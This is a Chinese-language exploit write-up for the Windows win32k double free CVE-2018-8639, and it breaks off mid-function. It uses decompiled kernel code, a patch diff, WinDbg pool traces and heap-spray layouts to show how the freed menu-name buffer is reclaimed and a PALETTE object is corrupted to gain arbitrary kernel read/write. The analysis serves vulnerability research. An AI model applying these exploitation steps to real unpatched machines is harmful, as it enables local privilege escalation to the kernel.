漏洞的成因是调用CreateWindowA函数创建窗口的过程中,接着调用ReferenceClass克隆tagCLS结构时,未另分配分页pool内存保存重新创建的tagCLS->lpszMenuName,而是直接克隆tagCLS结构指向源tagCLS>lpszMenuName地址,导致doublefree,
我们先来看CreateWindowA函数对于tagCLS结构的克隆操作部分:
unsigned __int16 *xxxCreateWindowEx(unsigned int a1, const __m128i *a2, __int64 a3, const __m128i *a4, ...) { .... while ( 1 ) { if ( v4 & 0xFFFFFFFFFFFF0000ui64 ) { v17 = UserFindAtom(*(_QWORD *)(v4 + 8)); LOWORD(v347) = v17; } else { v17 = v4; LOWORD(v347) = v4; } if ( v17 ) { //从当前线程ptiCurrent->ppi也就是tagPROCESSINFO中获取tagCLS结构对象 pclsFrom = (tagCLS **)GetClassPtr(v17, (__int64)ptiCurrent->ppi, (__int64)v413); if ( pclsFrom ) break; } LABEL_775: if ( v9 || _bittest((const signed __int32 *)(*(_QWORD *)(*(_QWORD *)&gptiCurrent + 344i64) + 12i64), 0xDu) || (!((unsigned __int64)v5 & 0xFFFFFFFFFFFF0000ui64) ? (v342 = (wchar_t *)v5) : (v342 = (wchar_t *)v5->m128i_i64[1]), !(unsigned int)RegisterDefaultClass(v342)) ) { UserSetLastError(1407); return 0i64; } v9 = 1; } pcls = *pclsFrom; v20 = 0; v21 = v403; if ( v403 & 1 ) goto LABEL_785; if ( _bittest((const signed int *)&v21, 0x11u) ) goto LABEL_786; v22 = v405; if ( _bittest(&v22, 0x12u) ) goto LABEL_785; if ( (v405 & 0xC00000) == 0x400000 ) { v20 = 1; } else if ( (v405 & 0xC00000) == 12582912 ) { LOBYTE(v20) = (unsigned __int16)v415 >= 0x400u; } if ( v20 ) LABEL_785: v403 |= 0x100u; else LABEL_786: v403 &= 0xFFFFFEFF; v23 = pcls->cbwndExtra + 296; if ( pcls->cbwndExtra >= 0xFFFFFED8 ) { UserSetLastError(87); return 0i64; } v387 = pcls->cbwndExtra + 296; pwnd = (tagWND *)HMAllocObject(v346, v11, 1u, v23); v25 = pwnd; v366 = pwnd; if ( !pwnd ) return 0i64; pwnd->pcls = pcls; pwnd->style = v405 & 0xEFFFFFFF; pwnd->ExStyle = v403 & 0xFDF7FFFF; pwnd->cbwndExtra = pcls->cbwndExtra; //调用ReferenceClass克隆tagCLS结构 if ( !(unsigned int)ReferenceClass(pcls, pwnd) ) { HMFreeObject(v25); v11 = v361; ptiCurrent = (tagTHREADINFO *)v346; goto LABEL_775; } ...
ReferenceClass是造成漏洞最关键的函数,现在来分析补丁更新前后函数的变化来了解漏洞的成因,补丁对比如下
更新前:
__int64 __fastcall ReferenceClass(tagCLS *Src, tagWND *pwnd) { tagDESKTOP *hheapDesktop; // rbx tagWND *pwndRef; // r12 tagCLS *srcRef; // rbp tagCLS *pclsClone; // rsi unsigned __int64 cbName; // kr08_8 char *lpszAnsiClassNameAlloced; // rax tagCLS *v9; // rdx char *lpszAnsiClassNameREf; // rdx hheapDesktop = pwnd->head.rpdesk; pwndRef = pwnd; srcRef = Src; if ( Src->rpdeskParent != hheapDesktop ) { pclsClone = Src->pclsClone; if ( !pclsClone ) goto LABEL_18; do { if ( pclsClone->rpdeskParent == hheapDesktop ) break; pclsClone = pclsClone->pclsNext; } while ( pclsClone ); if ( !pclsClone ) { LABEL_18: //分配克隆对象内存 pclsClone = (tagCLS *)ClassAlloc((__int64)hheapDesktop, (Src->CSF_flags & 8u) + Src->cbclsExtra + 160); if ( !pclsClone ) return 0i64; //直接克隆tagCLS结构导致克隆后的对象pclsClone>lpszMenuName指向源tagCLS>lpszMenuName地址 memmove(pclsClone, srcRef, (srcRef->CSF_flags & 8) + (signed __int64)srcRef->cbclsExtra + 160); cbName = strlen(srcRef->lpszAnsiClassName) + 1; lpszAnsiClassNameAlloced = (char *)ClassAlloc((__int64)hheapDesktop, cbName); pclsClone->lpszAnsiClassName = lpszAnsiClassNameAlloced; if ( !lpszAnsiClassNameAlloced ) { if ( hheapDesktop ) RtlFreeHeap(hheapDesktop->pheapDesktop, 0i64, pclsClone); else ExFreePoolWithTag(pclsClone, 0); return 0i64; } pclsClone->rpdeskParent = 0i64; LockObjectAssignment((void **)&pclsClone->rpdeskParent, hheapDesktop); v9 = srcRef->pclsClone; pclsClone->pclsClone = 0i64; pclsClone->pclsNext = v9; lpszAnsiClassNameREf = srcRef->lpszAnsiClassName; srcRef->pclsClone = pclsClone; memmove(pclsClone->lpszAnsiClassName, lpszAnsiClassNameREf, (unsigned int)cbName); pclsClone->spcur = 0i64; pclsClone->spicnSm = 0i64; pclsClone->spicn = 0i64; HMAssignmentLock((unsigned __int16 **)&pclsClone->spicn, (unsigned __int16 *)srcRef->spicn); HMAssignmentLock((unsigned __int16 **)&pclsClone->spicnSm, (unsigned __int16 *)srcRef->spicnSm); HMAssignmentLock((unsigned __int16 **)&pclsClone->spcur, (unsigned __int16 *)srcRef->spcur); pclsClone->spcpdFirst = 0i64; pclsClone->cWndReferenceCount = 0; } ++srcRef->cWndReferenceCount; ++pclsClone->cWndReferenceCount; pwndRef->pcls = pclsClone; return 1i64; } ++Src->cWndReferenceCount; return 1i64; }
更新后
__int64 __fastcall ReferenceClass(tagCLS *Src, tagWND *pwnd) { tagDESKTOP *hheapDesktop; // rbx tagWND *pwndRef; // r12 tagCLS *srcRef; // rbp tagCLS *pclsClone; // rsi unsigned __int64 cbName; // kr08_8 __int64 lpszAnsiClassNameAlloced; // rax unsigned __int16 *lpszMenuNameRef; // rdi signed __int64 menuSizeIndex; // rcx bool v11; // zf unsigned int menuSizeIndexRet; // edi unsigned __int16 *lpszMenuNameCopy; // rax tagCLS *v14; // rdx char *v15; // rdx unsigned __int64 v16; // rcx unsigned int v17; // [rsp+40h] [rbp+8h] hheapDesktop = pwnd->head.rpdesk; pwndRef = pwnd; srcRef = Src; if ( Src->rpdeskParent != hheapDesktop ) { pclsClone = Src->pclsClone; if ( !pclsClone ) goto LABEL_25; do { if ( pclsClone->rpdeskParent == hheapDesktop ) break; pclsClone = pclsClone->pclsNext; } while ( pclsClone ); if ( !pclsClone ) { LABEL_25: //分配内存 pclsClone = (tagCLS *)ClassAlloc((__int64)hheapDesktop, (Src->CSF_flags & 8u) + Src->cbclsExtra + 160); if ( !pclsClone ) return 0i64; //克隆对象 memmove(pclsClone, srcRef, (srcRef->CSF_flags & 8) + (signed __int64)srcRef->cbclsExtra + 160); cbName = strlen(srcRef->lpszAnsiClassName) + 1; lpszAnsiClassNameAlloced = ClassAlloc((__int64)hheapDesktop, cbName); pclsClone->lpszAnsiClassName = (char *)lpszAnsiClassNameAlloced; if ( !lpszAnsiClassNameAlloced ) { LABEL_10: ClassFree((__int64)hheapDesktop, pclsClone); return 0i64; } lpszMenuNameRef = srcRef->lpszMenuName; if ( (unsigned __int64)lpszMenuNameRef & 0xFFFFFFFFFFFF0000ui64 ) { menuSizeIndex = -1i64; do { if ( !menuSizeIndex ) break; //如果遇到字符串终止就结束循环 v11 = *lpszMenuNameRef == 0; //menu字符串长度 ++lpszMenuNameRef; --menuSizeIndex; } while ( !v11 ); menuSizeIndexRet = 2 * ~(_DWORD)menuSizeIndex; //这里为lpszMenuNameCopy重新申请了内存 lpszMenuNameCopy = (unsigned __int16 *)ExAllocatePoolWithQuotaTag((POOL_TYPE)41, menuSizeIndexRet, 0x78747355u); pclsClone->lpszMenuName = lpszMenuNameCopy; if ( !lpszMenuNameCopy ) { ClassFree((__int64)hheapDesktop, pclsClone->lpszAnsiClassName); goto LABEL_10; } } else { menuSizeIndexRet = v17; } pclsClone->rpdeskParent = 0i64; LockObjectAssignment(&pclsClone->rpdeskParent, hheapDesktop); v14 = srcRef->pclsClone; pclsClone->pclsClone = 0i64; pclsClone->pclsNext = v14; v15 = srcRef->lpszAnsiClassName; srcRef->pclsClone = pclsClone; memmove(pclsClone->lpszAnsiClassName, v15, (unsigned int)cbName); v16 = (unsigned __int64)pclsClone->lpszMenuName; if ( v16 & 0xFFFFFFFFFFFF0000ui64 ) memmove((void *)v16, srcRef->lpszMenuName, menuSizeIndexRet); pclsClone->spcur = 0i64; pclsClone->spicnSm = 0i64; pclsClone->spicn = 0i64; HMAssignmentLock(&pclsClone->spicn, srcRef->spicn); HMAssignmentLock(&pclsClone->spicnSm, srcRef->spicnSm); HMAssignmentLock(&pclsClone->spcur, srcRef->spcur); pclsClone->spcpdFirst = 0i64; pclsClone->cWndReferenceCount = 0; } ++srcRef->cWndReferenceCount; ++pclsClone->cWndReferenceCount; pwndRef->pcls = pclsClone; return 1i64; } ++Src->cWndReferenceCount; return 1i64; }
可见更新后为克隆tagCLS结构的lpszMenuName重新申请了重新申请了pool内存,在调用DestroyWindow和NtUserUnregisterClass释放tagCLS结构时,导致每次释放释放的都是是新申请的内存,修复了Double-free问题.
其实这个lpszMenuName对象在调用SetClassLongPtrA函数时已经被被释放和重新申请了一次,而在ReferenceClass克隆tagCLS结构指向的还是原来的lpszMenuName对象,结构又被释放了一次.下面通过分析代码来解释释放过程.
__int64 __fastcall NtUserSetClassLongPtr(tagWND *a1, unsigned int nidx, __int64 *dwNewLong, unsigned int true) { if ( nidxRef == -26 ) { ..... } else if ( nidxRef == -8 ) { // 就是poc中的GCLP_MENUNAME类型 v20 = dwNewLongRef; v11 = dwNewLongRef; if ( dwNewLongRef >= W32UserProbeAddress ) v11 = (__int64 *)W32UserProbeAddress; v17 = *v11; v18 = v11[1]; v19 = (__m128i *)v11[2]; v12 = v19; if ( v19 >= W32UserProbeAddress ) v12 = (const __m128i *)W32UserProbeAddress; _mm_storeu_si128(&v16, _mm_loadu_si128(v12)); v13 = v16.m128i_u64[1]; if ( v16.m128i_i64[1] & 0xFFFFFFFFFFFF0000ui64 ) { if ( v16.m128i_i8[8] & 1 ) ExRaiseDatatypeMisalignment(); v14 = v16.m128i_u16[0] + v13 + 2; if ( v14 >= (unsigned __int64)W32UserProbeAddress || (unsigned __int16)v16.m128i_i16[0] > v16.m128i_i16[1] || v14 <= v13 ) { *(_BYTE *)W32UserProbeAddress = 0; } } v19 = &v16; //调用xxxSetClassLongPtr v10 = xxxSetClassLongPtr(v9, -8, (__int64)&v17, v4); if ( dwNewLongRef >= W32UserProbeAddress ) dwNewLongRef = (__int64 *)W32UserProbeAddress; *dwNewLongRef = v17; dwNewLongRef[1] = v18; dwNewLongRef[2] = (__int64)v19; goto LABEL_21; } //调用xxxSetClassLongPtr v10 = xxxSetClassLongPtr(v9, nidxRef, (__int64)dwNewLongRef, v4); . } //xxxSetClassLongPtr接着会调用xxxSetClassData这里略过.. __int64 __fastcall xxxSetClassData(tagWND *pwnd, int nidx, unsigned __int64 dwData, unsigned int bAnsi) { .... switch ( nidx ) { // 就是poc中的GCLP_MENUNAME类型 case -8: lpszMenuNameRef = pCls->lpszMenuName; DataFrom = dwData[2]; buffCheck = DataFrom->Buffer; if ( !((unsigned __int64)buffCheck & 0xFFFFFFFFFFFF0000ui64) ) { pCls->lpszMenuName = buffCheck; goto Free_MenuName; } // 重新申请MenuName内存 RtlInitUnicodeString(&DestinationString, DataFrom->Buffer); if ( !DestinationString.Length ) { pCls->lpszMenuName = 0i64; Free_MenuName: *(_QWORD *)&v5[1].Length = 0i64; if ( (unsigned __int64)lpszMenuNameRef & 0xFFFFFFFFFFFF0000ui64 ) // 这里释放lpszMenuName ExFreePoolWithTag(lpszMenuNameRef, 0); dwOld = pCls->lpszClientAnsiMenuName; pCls->lpszClientAnsiMenuName = *(char **)&v5->Length; *(_QWORD *)&v5->Length = dwOld; OldClientUnicodeMenuName = (char *)pCls->lpszClientUnicodeMenuName; pCls->lpszClientUnicodeMenuName = v5->Buffer; v5->Buffer = (unsigned __int16 *)OldClientUnicodeMenuName; if ( v4 ) OldClientUnicodeMenuName = *(char **)&v5->Length; return (__int64)OldClientUnicodeMenuName; } if ( !(unsigned int)AllocateUnicodeString(&pszMenuNameNew, &DestinationString) ) return 0i64; // 赋值新申请的MenuName pCls->lpszMenuName = pszMenuNameNewRet; goto Free_MenuName; } } .... }
此时原pCls->lpszMenuName第一次释放,在poc中调用NtGdiSetLinkedUFIs占位释放的内存.
接着调用DestroyWindow第二次释放对象,以NtUserDestroyWindow->xxxDestroyWindow-> xxxFreeWindow->DereferenceClass->DestroyClass的顺序最后释放克隆的pCls对象
接着调用NtUserUnregisterClass->UnregisterClass->DestroyClass顺序释放原pCls对象,原pCls->lpszMenuName和克隆的pCls->lpszMenuName指向的是同一内存区域,所以肯定会被释放,是否3次释放??
在poc中先申请了10000个100大小的AcceleratorTable(以下简称acc),然后释放前3000个,并创建3000个e00大小的acc,部分e00和2个100的acc会占满一页,然后再释放1500个100的acc和创建1500个200大小acc,这样原释放100和新创建的200会填满池空隙,有些e00和200的acc会占满一页,也存在e00和2个100的acc占满一页情况,又由于e00的acc数量大于200的acc,会出现大量的e00和200大小free的页面空洞,用于放置poc中要创建的lpszMenuName,最后又把最后4000个100的acc释放,导致更多相同空洞出现.效果如下图:
下面我们来看下poc运行过程内核对象池风水的实际布局情况,具体过程如图:
对于这个漏洞关键对象pCls->lpszMenuName内核地址获取可以通过以下方式查看:
bp win32k!ReferenceClass+0x6b "p;"
也就是ReferenceClass函数中其中
pclsClone = (tagCLS *)ClassAlloc((__int64)hheapDesktop, (Src->CSF_flags & 8u) + Src->cbclsExtra + 160)这行代码,采用调试脚本如下:
r; r $t0=rax; .printf"t0=%p\n",@$t0; //这里pCls->lpszMenuName=0x88偏移量 gu;r $t1=poi(@$t0+88); .printf"t1=%p\n",@$t1; !pool @$t1;
poc运行流程顺序如图:
来看具体windbg调试过程,我的调试方法可以看我另一篇文章,:
在执行完这行代码后 hWndCloneCls = CreateWindowA("WNDCLASSMAIN", "CVE", WS_DISABLED, 0, 0, 0, 0, nullptr, nullptr, hInst, nullptr); //在win32k!ReferenceClass函数触发断点,此时我们查看pool的分配情况 kd> bp win32k!ReferenceClass+0x6b "p;" WARNING: Software breakpoints on session addresses can cause bugchecks. Use hardware execution breakpoints (ba e) if possible. kd> bl 0 e fffff960`0012fcab 0001 (0001) win32k!ReferenceClass+0x6b "p;" kd> g win32k!ReferenceClass+0x70: fffff960`0012fcb0 488bf0 mov rsi,rax //运行调试脚本 kd> $$<"C:\dbg\pool.txt" kd> r; rax=fffff900c3c013d0 rbx=fffffa80042b6f20 rcx=fffff900c3c01470 rdx=0000000000000000 rsi=0000000000000000 rdi=fffff900c0c4ccc0 rip=fffff9600012fcb0 rsp=fffff88004de2670 rbp=fffff900c0c4ccc0 r8=0000000000000000 r9=0000000000000000 r10=00000000000000fe r11=fffff88004de2610 r12=fffff900c3c012a0 r13=fffff88004de0000 r14=0000000000000000 r15=fffff88004de29a8 iopl=0 nv up ei ng nz na po nc cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286 win32k!ReferenceClass+0x70: fffff960`0012fcb0 488bf0 mov rsi,rax kd> r $t0=rax; kd> .printf"t0=%p\n",@$t0; t0=fffff900c3c013d0 kd> gu;r $t1=poi(@$t0+88); kd> .printf"t1=%p\n",@$t1; t1=fffff900c566de20 kd> !pool @$t1; Pool page fffff900c566de20 region is Paged session pool //AcceleratorTable占用了e00空间 fffff900c566d000 size: e00 previous size: 0 (Allocated) Usac Process: fffffa8001b80970 fffff900c566de00 size: 10 previous size: e00 (Free) .... //lpszMenuName分配了 1f0大小的空间 *fffff900c566de10 size: 1f0 previous size: 10 (Allocated) *Ustx Process: fffffa8001b80970 Pooltag Ustx : USERTAG_TEXT, Binary : win32k!NtUserDrawCaptionTemp //在执行完这行代码后 SetClassLongPtrA(hWndCloneCls, GCLP_MENUNAME, (LONG64)NewMenuName); kd> !pool @$t1; Pool page fffff900c566de20 region is Paged session pool fffff900c566d000 size: e00 previous size: 0 (Allocated) Usac Process: fffffa8001b80970 //1f0和10释放后合并变成200大小free空间 *fffff900c566de00 size: 200 previous size: e00 (Free) *.... Owning component : Unknown (update pooltag.txt) //在执行完这行代码后 NtGdiSetLinkedUFIs(hDC_Writer[i], flag, 0x3b); kd> !pool @$t1; Pool page fffff900c566de20 region is Paged session pool fffff900c566d000 size: e00 previous size: 0 (Allocated) Usac Process: fffffa8001b80970 fffff900c566de00 size: 10 previous size: e00 (Free) .... //1f0空间被hDC_Writer占位 *fffff900c566de10 size: 1f0 previous size: 10 (Allocated) *Gadd Pooltag Gadd : GDITAG_DC_FONT, Binary : win32k.sys //在执行完这行代码后 DestroyWindow(hWndCloneCls); NtUserUnregisterClass(pClassName, hInst, &a); kd> !pool @$t1; Pool page fffff900c566de20 region is Paged session pool fffff900c566d000 size: e00 previous size: 0 (Allocated) Usac Process: fffffa8001b80970 //80+180空间为free状态 *fffff900c566de00 size: 80 previous size: e00 (Free) *.... Owning component : Unknown (update pooltag.txt) //GTmp怎么来的是不是DestroyWindow后又在NtUserUnregisterClass过程中产生的? fffff900c566de80 size: 180 previous size: 80 (Free ) GTmp //在执行完这行代码后 hPalettes[i] = CreatePalette(lPalette); kd> !pool @$t1; Pool page fffff900c566de20 region is Paged session pool fffff900c566d000 size: d10 previous size: 0 (Allocated) Usac Process: fffffa8001b80970 fffff900c566dd10 size: f0 previous size: d10 (Free) .... //已被PALETTE占位,HDC对象数据对准了PALETTE +0x10处正好是要修改PALETTE大小 *fffff900c566de00 size: 100 previous size: f0 (Allocated) *Gh28 Pooltag Gh28 : GDITAG_HMGR_SPRITE_TYPE, Binary : win32k.sys fffff900c566df00 size: 100 previous size: 100 (Allocated) Gh28
笔者借鉴CVE-2018-8453布局思路,测试了一种新的布局方式,先申请创建4000个C10大小的块,位于堆顶部,然后创建4000个200大小的块,位于堆底部,这样就在堆中间留出了1F0大小的空隙,再创建5000个1F0大小的小块,把池堆中的空隙填满,然后每间隔2个1F0大小释放其中一个,这样就在堆中留出大量1F0大小的空隙用于放置lpszMenuName,这样正好把空隙控制在1F0大小,200大小的块不会覆盖1F0大小的块也填满了1F0之前的空隙使其剩余空隙保留在小于200大小,不会影响之后的GDI和PALETTE也不会跑到这些空隙去,第一次释放用GDI占位,第二次释放先释放C10用C00占位,然后创建2w个100大小PALETTE,填充二次释放区域,经测试布局成功率大于90%,池风水布局后如图:
//在用户态创建4000个200大小的块下断点 //AcceleratorTable泄露内核地址计算公式为(SHAREDINFO->aheList+sizeOf(HANDLEENTRY)*(AcceleratorTabl句柄&0xffff)) 0:000> dq CVE_2018_8639_EXP!hAccel_0x200_bottom 00000001`3fe1b940 00000000`003528f1 00000000`003d00f3 00000001`3fe1b950 00000000`003c01f1 00000000`0012098f 00000001`3fe1b960 00000000`00100991 00000000`000c097b 00000001`3fe1b970 00000000`00090973 00000000`000b00ef 00000001`3fe1b980 00000000`001201fb 00000000`00090981 00000001`3fe1b990 00000000`00190069 00000000`000b09c1 00000001`3fe1b9a0 00000000`0009099b 00000000`00070999 00000001`3fe1b9b0 00000000`0008097d 00000000`000809ad //看最后一个 0:000> dq poi(user32!gSharedInfo+8)+18h*(00000000`000809ad&0xffff) 00000000`004ee838 fffff900`c5c15e10 fffff900`c26f3460 00000000`004ee848 00000000`00080008 fffff900`c5caac20 //在内核态 kd> !pool fffff900`c5c15e10 Pool page fffff900c5c15e10 region is Paged session pool fffff900c5c15000 size: c10 previous size: 0 (Allocated) Usac Process: fffffa8001a65520 fffff900c5c15c10 size: 1f0 previous size: c10 (Allocated) Usac Process: fffffa8001a65520 *fffff900c5c15e00 size: 200 previous size: 1f0 (Allocated) *Usac Process: fffffa8001a65520 Pooltag Usac : USERTAG_ACCEL, Binary : win32k!_CreateAcceleratorTable //在执行完这行代码后 hWndCloneCls = CreateWindowA("WNDCLASSMAIN", "CVE", WS_DISABLED, 0, 0, 0, 0, nullptr, nullptr, hInst, nullptr); //在win32k!ReferenceClass函数触发断点,此时我们查看pool的分配情况 kd> bp win32k!ReferenceClass+0x6b "p;" WARNING: Software breakpoints on session addresses can cause bugchecks. Use hardware execution breakpoints (ba e) if possible. kd> g win32k!ReferenceClass+0x70: fffff960`0012fcb0 488bf0 mov rsi,rax *** WARNING: Unable to verify checksum for CVE-2018-8639-EXP.exe *** ERROR: Module load completed but symbols could not be loaded for CVE-2018-8639-EXP.exe *** ERROR: Symbol file could not be found. Defaulted to export symbols for kernel32.dll - kd> $$<"C:\dbg\pool.txt" kd> r; rax=fffff900c3803f90 rbx=fffffa800485e760 rcx=fffff900c3804030 rdx=0000000000000000 rsi=0000000000000000 rdi=fffff900c082beb0 rip=fffff9600012fcb0 rsp=fffff880037e0670 rbp=fffff900c082beb0 r8=0000000000000000 r9=0000000000000000 r10=0000000000000010 r11=fffff880037e0610 r12=fffff900c3803e60 r13=fffff880037e0000 r14=0000000000000000 r15=fffff880037e09a8 iopl=0 nv up ei ng nz na po nc cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00000286 win32k!ReferenceClass+0x70: fffff960`0012fcb0 488bf0 mov rsi,rax kd> r $t0=@rax; kd> .printf"t0=%p\n",@$t0; t0=fffff900c3803f90 kd> gu;r $t1=poi(@$t0+88); WARNING: Software breakpoints on session addresses can cause bugchecks. Use hardware execution breakpoints (ba e) if possible. kd> .printf"t1=%p\n",@$t1; t1=fffff900c3371c20 kd> !pool @$t1; Pool page fffff900c3371c20 region is Paged session pool fffff900c3371000 size: c10 previous size: 0 (Allocated) Usac Process: fffffa8001a65520 //lpszMenuName分配了 1f0大小的空间 *fffff900c3371c10 size: 1f0 previous size: c10 (Allocated) *Ustx Process: fffffa8001a65520 Pooltag Ustx : USERTAG_TEXT, Binary : win32k!NtUserDrawCaptionTemp fffff900c3371e00 size: 200 previous size: 1f0 (Allocated) Usac Process: fffffa8001a65520 //在执行完这行代码后 SetClassLongPtrA(hWndCloneCls, GCLP_MENUNAME, (LONG64)NewMenuName); kd> !pool @$t1; Pool page fffff900c3371c20 region is Paged session pool fffff900c3371000 size: c10 previous size: 0 (Allocated) Usac Process: fffffa8001a65520 *fffff900c3371c10 size: 1f0 previous size: c10 (Free) *Ustx Pooltag Ustx : USERTAG_TEXT, Binary : win32k!NtUserDrawCaptionTemp fffff900c3371e00 size: 200 previous size: 1f0 (Allocated) Usac Process: fffffa8001a65520 //在执行完这行代码后 NtGdiSetLinkedUFIs(hDC_Writer[i], flag, 0x3b); kd> !pool @$t1; Pool page fffff900c3371c20 region is Paged session pool fffff900c3371000 size: c10 previous size: 0 (Allocated) Usac Process: fffffa8001a65520 //GDI对象被创建 *fffff900c3371c10 size: 1f0 previous size: c10 (Allocated) *Gadd Pooltag Gadd : GDITAG_DC_FONT, Binary : win32k.sys fffff900c3371e00 size: 200 previous size: 1f0 (Allocated) Usac Process: fffffa8001a65520 //在执行完这行代码后 DestroyWindow(hWndCloneCls); NtUserUnregisterClass(pClassName, hInst, &a); kd> !pool @$t1; Pool page fffff900c3371c20 region is Paged session pool fffff900c3371000 size: c10 previous size: 0 (Allocated) Usac Process: fffffa8001a65520 //GDI对象被被释放 *fffff900c3371c10 size: 1f0 previous size: c10 (Free) *Gadd Pooltag Gadd : GDITAG_DC_FONT, Binary : win32k.sys fffff900c3371e00 size: 200 previous size: 1f0 (Allocated) Usac Process: fffffa8001a65520 //在执行完这行代码后 DestroyAcceleratorTable(hAccel_0xC10_top[i]); kd> !pool @$t1; Pool page fffff900c3371c20 region is Paged session pool //hAccel_0xC10_top被释放 *fffff900c3371000 size: e00 previous size: 0 (Free) *Usac Pooltag Usac : USERTAG_ACCEL, Binary : win32k!_CreateAcceleratorTable fffff900c3371e00 size: 200 previous size: e00 (Allocated) Usac Process: fffffa8001a65520 //在执行完这行代码后 hAccel_0xC10_top[i] = CreateAcceleratorTableW(lpAccel, 0x1F7); kd> !pool @$t1; Pool page fffff900c3371c20 region is Paged session pool //hAccel_0xC10_top被重新申请C00大小 fffff900c3371000 size: c00 previous size: 0 (Allocated) Usac Process: fffffa8001a65520 *fffff900c3371c00 size: 200 previous size: c00 (Free) *.... Owning component : Unknown (update pooltag.txt) fffff900c3371e00 size: 200 previous size: 200 (Allocated) Usac Process: fffffa8001a65520 //在执行完这行代码后 hPalettes[i] = CreatePalette(lPalette); kd> !pool @$t1; Pool page fffff900c3371c20 region is Paged session pool fffff900c3371000 size: c00 previous size: 0 (Allocated) Usac Process: fffffa8001a65520 //Palette成功占位 *fffff900c3371c00 size: 100 previous size: c00 (Allocated) *Gh18 Pooltag Gh18 : GDITAG_HMGR_SPRITE_TYPE, Binary : win32k.sys fffff900c3371d00 size: 100 previous size: 100 (Allocated) Gh18 fffff900c3371e00 size: 200 previous size: 100 (Allocated) Usac Process: fffffa8001a65520
整个doublefree占位过程如图:
之后的利用方式与原poc相同这里略过,下面有详细解释
参考PALETTE滥用这篇文章为exp达到内核内存任意位置读写的方式,poc使用NtGdiSetLinkedUFIs函数把写入的指定HDC对象数据对准了PALETTE +1c也就是PALETTE64->cEntries位置值为0xfff构造了一个越界的PALETTE实现
#pragma pack(push, 4) struct _PALETTE64 { _BYTE BaseObject[24]; ULONG flPal; ULONG cEntries;//0x1c ULONG ulTime; ULONG64 hdcHead; ULONG64 hSelected; ULONG64 cRefhpal; ULONG cRefRegular; ULONG64 ptransFore; ULONG64 ptransCurrent; ULONG64 ptransOld; ULONG64 unk_038; ULONG64 pfnGetNearest; ULONG64 pfnGetMatch; ULONG64 ulRGBTime; ULONG64 pRGBXlate; PALETTEENTRY *pFirstColor;;//0x80 struct _PALETTE *ppalThis; PALETTEENTRY apalColors[3]; }; #pragma pack(pop)
NtGdiSetLinkedUFIs主要实现为XDCOBJ::bSetLinkedUFIs内部过程,在x64系统下如果之前未申请内存就新申请内存在对象0x138位置保存了申请内存的地址然后拷贝 8 Count大小内存,如果之前申请过内存就直接拷贝传入的 8 Count大小内存,这里buf可控,count也可控
signed __int64 __fastcall XDCOBJ::bSetLinkedUFIs(PALETTE64 *this, struct _UNIVERSAL_FONT_ID *buff, unsigned int count) { PALETTE64 *_This; // rbx __int64 CountSize; // rdi __int64 that; // rax struct _UNIVERSAL_FONT_ID *buffRef; // r12 void *hasData; // rcx signed __int64 result; // rax PVOID AllocedAddress; // rsi unsigned int size; // eax size_t sizeRef; // rbp PVOID addr; // rax _This = this; CountSize = count; *(_DWORD *)(*(_QWORD *)this->BaseObject + 0x144i64) = cout == 0; that = *(_QWORD *)this->BaseObject; buffRef = buff; hasData = *(void **)(*(_QWORD *)this->BaseObject + 0x138i64); // 如果已经申请过内存 if ( hasData ) { // 位置140保存了对象的大小 if ( (unsigned int)CountSize <= *(_DWORD *)(that + 0x140) ) { // 拷贝 8 * CountSize大小内存 copy_Memory: memmove(*(void **)(*(_QWORD *)_This->BaseObject + 0x138i64), (const void *)buffRef, 8 * CountSize); result = 1i64; // 位置140重新保存对象的大小 *(_DWORD *)(*(_QWORD *)_This->BaseObject + 0x140i64) = CountSize; return result; } if ( hasData && hasData != (void *)(that + 0x114) ) { ExFreePoolWithTag(hasData, 0); *(_QWORD *)(*(_QWORD *)_This->BaseObject + 0x138i64) = 0i64; } } if ( (unsigned int)CountSize <= 4 ) { *(_QWORD *)(*(_QWORD *)_This->BaseObject + 0x138i64) = *(_QWORD *)_This->BaseObject + 0x114i64; goto copy_Memory; } AllocedAddress = 0i64; size = 8 * CountSize; if ( 8 * (_DWORD)CountSize ) { sizeRef = size; // 这里分配 8 * CountSize大小内存 addr = ExAllocatePoolWithTag((POOL_TYPE)33, size, 0x64646147u); AllocedAddress = addr; if ( addr ) memset(addr, 0, sizeRef); } // 在138位置保存了申请内存的地址 *(_QWORD *)(*(_QWORD *)_This->BaseObject + 0x138i64) = AllocedAddress; if ( *(_QWORD *)(*(_QWORD *)_This->BaseObject + 312i64) ) goto copy_Memory; *(_DWORD *)(*(_QWORD *)_This->BaseObject + 0x140i64) = 0; return 0i64; }
构造好了越界的PALETTE就可以构造hManager、hWorker两个Palette object,其中hManager->pFirstColor指针指向hWorker的内核地址,具体方法是通过GetPaletteEntries和SetPaletteEntries,内部通过GreGetPaletteEntries调用XEPALOBJ::ulGetEntries和GreSetPaletteEntries调用实现.
__int64 __fastcall XEPALOBJ::ulGetEntries(PALETTE64 *this, unsigned int istart, unsigned int icount, tagPALETTEENTRY *entrys, int val0) { unsigned int icountRef; // edi tagPALETTEENTRY *v6; // rbx unsigned int v8; // eax unsigned int v9; // eax unsigned __int64 v10; // rcx icountRef = icount; v6 = entrys; if ( !entrys ) return *(unsigned int *)(*(_QWORD *)this->BaseObject + 0x1Ci64); v8 = *(_DWORD *)(*(_QWORD *)this->BaseObject + 0x1Ci64); if ( istart >= v8 ) return 0i64; v9 = v8 - istart; if ( icount > v9 ) icountRef = v9; // 拷贝pFirstColor+4*istart位置从entry的buf中,拷贝大小为icountRef*4 memmove(entrys, (const void *)(*(_QWORD *)(*(_QWORD *)this->BaseObject + 0x80i64) + 4i64 * istart), 4i64 * icountRef); if ( !val0 ) return icountRef; v10 = (unsigned __int64)&v6[icountRef]; while ( (unsigned __int64)v6 < v10 ) { v6->peFlags = 0; ++v6; } return icountRef; } __int64 __fastcall XEPALOBJ::ulSetEntries(PALETTE64 *this, unsigned int istart, int icount, tagPALETTEENTRY *entrys) { __int64 BaseObject; // r10 tagPALETTEENTRY *entrysRef; // rbx PALETTE64 *that; // r11 __int64 v7; // r9 _BYTE *ptransOld; // rcx tagPALETTEENTRY *entryPtr; // rdi _DWORD *ptransCurrentFrom; // rax _BYTE *ptransCurrent; // rdx _DWORD *ptransOldFrom; // rax unsigned int icountRef; // er9 signed __int32 v14; // edx __int64 v15; // r8 BaseObject = *(_QWORD *)this->BaseObject; entrysRef = entrys; that = this; if ( _bittest((const signed __int32 *)(*(_QWORD *)this->BaseObject + 0x18i64), 0x14u) || !entrys // BaseObject + 0x1C就是entryCount || istart >= *(_DWORD *)(BaseObject + 0x1C) 